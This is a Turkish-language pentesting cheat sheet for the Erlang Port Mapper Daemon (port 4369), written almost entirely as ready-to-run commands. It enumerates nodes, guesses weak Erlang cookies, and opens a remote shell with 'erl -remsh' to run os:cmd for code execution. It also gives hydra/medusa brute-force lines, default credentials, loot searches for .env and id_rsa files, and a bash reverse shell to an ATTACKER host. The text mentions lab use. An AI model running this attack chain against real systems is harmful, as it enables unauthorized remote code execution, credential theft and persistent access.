4369 - Pentesting Erlang Port Mapper Daemon (epmd)

EPMD erlang

Erlang Port Mapper node adlarını yayınlar. Zayıf/predictable cookie ile remsh = RCE. Hedef lab IP’si üzerinde komutları 4369 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 4369 epmd_names.

2. Node portlarını çıkar.

3. Cookie dene/brute.

4. erl -remsh ile komut.

Keşif

nmap -Pn -sV -p4369 TARGET

nmap -Pn -p4369 --script epmd-info TARGET

epmd -names -port 4369

echo | nc TARGET 4369

Cookie & shell

erl -name attacker@ATTACKER -setcookie secret -remsh node@TARGET

cookies: secret, changeme, erlang, rabbit

find / -name .erlang.cookie 2>/dev/null

os:cmd("id").

Derin enum

Erlang Port Mapper Daemon (epmd) için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p4369 TARGET

nmap -Pn -p4369 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:4369' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',4369));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Erlang Port Mapper Daemon (epmd)

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 4369 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 4369

nmap -p4369 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit EPMD

msfconsole -q -x 'search EPMD; exit'

nuclei -u https://TARGET:4369 -t cves/ -silent -severity || true

nuclei -u http://TARGET:4369 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 4369

printf '
' | timeout 3 nc -nv TARGET 4369

curl -vk --http1.0 http://TARGET:4369/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

epmd names → cookie → remsh → os:cmd RCE